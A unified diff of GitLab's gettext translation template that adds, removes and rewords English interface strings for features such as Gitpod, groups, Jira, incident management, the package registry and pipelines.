msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
